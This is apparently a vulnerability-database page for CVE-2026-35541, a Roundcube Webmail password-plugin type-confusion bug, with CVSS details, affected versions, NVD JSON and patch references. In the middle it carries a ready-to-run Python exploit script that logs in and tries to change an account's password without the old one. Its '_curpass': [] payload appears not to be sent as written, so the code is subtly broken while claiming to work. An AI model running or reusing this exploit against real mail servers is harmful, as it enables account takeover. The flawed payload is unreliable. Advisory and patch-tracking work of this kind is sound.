Security Vulnerability Report
中文
CVE-2026-35541 CVSS 4.2 MEDIUM

CVE-2026-35541

Published: 2026-04-03 05:16:22
Last Modified: 2026-04-07 20:45:56

Description

An issue was discovered in Roundcube Webmail before 1.5.14 and 1.6.14. Incorrect password comparison in the password plugin could lead to type confusion that allows a password change without knowing the old password.

CVSS Details

CVSS Score
4.2
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:L/I:L/A:N

Configurations (Affected Products)

cpe:2.3:a:roundcube:webmail:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:roundcube:webmail:*:*:*:*:*:*:*:* - VULNERABLE
Roundcube Webmail < 1.5.14
Roundcube Webmail < 1.6.14

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests # Exploit Title: Roundcube Webmail < 1.5.14 Password Change Type Confusion PoC # Date: 2026-04-03 # Vulnerable Software: Roundcube Webmail target_url = "http://target-url/roundcube/" session = requests.Session() # 1. Login with low privilege user (PR:L required) login_data = { "_user": "[email protected]", "_pass": "attacker_password", "_task": "login" } session.post(target_url + "?_task=login", data=login_data) # 2. Exploit Type Confusion to change password without old password # The payload sends an array to trigger the weak type comparison poc_data = { "_task": "settings", "_action": "plugin.password-save", "_curpass": [], # Type confusion payload "_newpass": "new_hacked_password", "_confpass": "new_hacked_password" } response = session.post(target_url + "?_task=settings", data=poc_data) if response.status_code == 200 and "successfully saved" in response.text: print("[+] Password changed successfully via type confusion!") else: print("[-] Exploit failed or patched.")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-35541", "sourceIdentifier": "[email protected]", "published": "2026-04-03T05:16:22.283", "lastModified": "2026-04-07T20:45:56.447", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "An issue was discovered in Roundcube Webmail before 1.5.14 and 1.6.14. Incorrect password comparison in the password plugin could lead to type confusion that allows a password change without knowing the old password."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:L/I:L/A:N", "baseScore": 4.2, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.6, "impactScore": 2.5}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-843"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:roundcube:webmail:*:*:*:*:*:*:*:*", "versionEndExcluding": "1.5.14", "matchCriteriaId": "40F75FD7-CF6D-4DC4-A33D-625D0F02FAB3"}, {"vulnerable": true, "criteria": "cpe:2.3:a:roundcube:webmail:*:*:*:*:*:*:*:*", "versionStartIncluding": "1.6.0", "versionEndExcluding": "1.6.14", "matchCriteriaId": "AF4B6448-D4F5-4680-B32C-9366630E9485"}]}]}], "references": [{"url": "https://github.com/roundcube/roundcubemail/commit/2e6a99b2a38110907ea8d3be8e59ec3d5802c394", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/roundcube/roundcubemail/commit/6a275676a8043083c05c961914d830b79e2490d4", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/roundcube/roundcubemail/commit/6fa2bddc59b9c9fd31cad4a9e2954a208d793dce", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/roundcube/roundcubemail/releases/tag/1.5.14", "source": "[email protected]", "tags": ["Release Notes"]}, {"url": "https://github.com/roundcube/roundcubemail/releases/tag/1.6.14", "source": "[email protected]", "tags": ["Release Notes"]}, {"url": "https://github.com/roundcube/roundcubemail/releases/tag/1.7-rc5", "source": "[email protected]", "tags": ["Release Notes"]}, {"url": "https://roundcube.net/news/2026/03/18/security-updates-1.7-rc5-1.6.14-1.5.14", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}